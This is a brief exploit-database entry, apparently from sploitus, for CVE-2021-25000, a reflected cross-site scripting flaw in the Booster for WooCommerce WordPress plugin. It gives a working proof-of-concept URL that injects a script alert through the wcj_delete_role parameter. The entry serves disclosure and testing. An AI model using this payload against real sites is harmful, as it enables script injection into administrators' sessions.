Exploit for Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in General Module CVE-2021-25000

Name: Exploit for Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in General Module CVE-2021-25000
Rating: 5 (121 reviews)

2021-12-01 | CVSS 2.6

## https://sploitus.com/exploit?id=WPEX-ID:BC167B3A-24EE-4988-9934-189B6216CE40
The "General" module needs to be enabled in "Woocommerce -> Booster Settings -> Booster".

https://example.com/wp-admin/admin.php?page=wcj-tools&tab=custom_roles&wcj_delete_role=<script>alert(/XSS/)<%2Fscript>